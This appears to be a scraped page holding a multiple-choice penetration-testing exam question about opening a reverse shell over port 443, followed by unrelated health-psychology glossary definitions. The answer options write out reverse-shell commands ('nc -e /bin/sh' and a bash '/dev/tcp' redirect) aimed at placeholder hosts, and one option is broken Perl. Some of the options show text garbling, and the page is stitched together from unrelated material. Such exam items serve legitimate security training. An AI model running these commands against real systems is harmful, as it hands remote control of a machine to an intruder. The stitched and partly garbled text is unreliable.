A Penetration Tester Compromises a System That Has Unrestricted Network

question 161

Multiple Choice

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

• A) perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
• B) ssh superadmin@<DESTINATIONIP> -p 443
• C) nc -e /bin/sh <SOURCEIP> 443 nc -e /bin/sh <SOURCEIP> 443
• D) bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

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Definitions:

Health Action Process

A psychological theory describing the motivation and action towards achieving personal health goals, distinguishing between planning stages and action phases.

Medication Adherence

The extent to which individuals take their medications as prescribed, including timing, dosage, and frequency.

Behavioral Intervention

A strategy or program implemented to modify harmful or problematic behaviors.

Medication Adherence

The extent to which patients take their medications as prescribed by their healthcare providers, including timing, dosage, and frequency.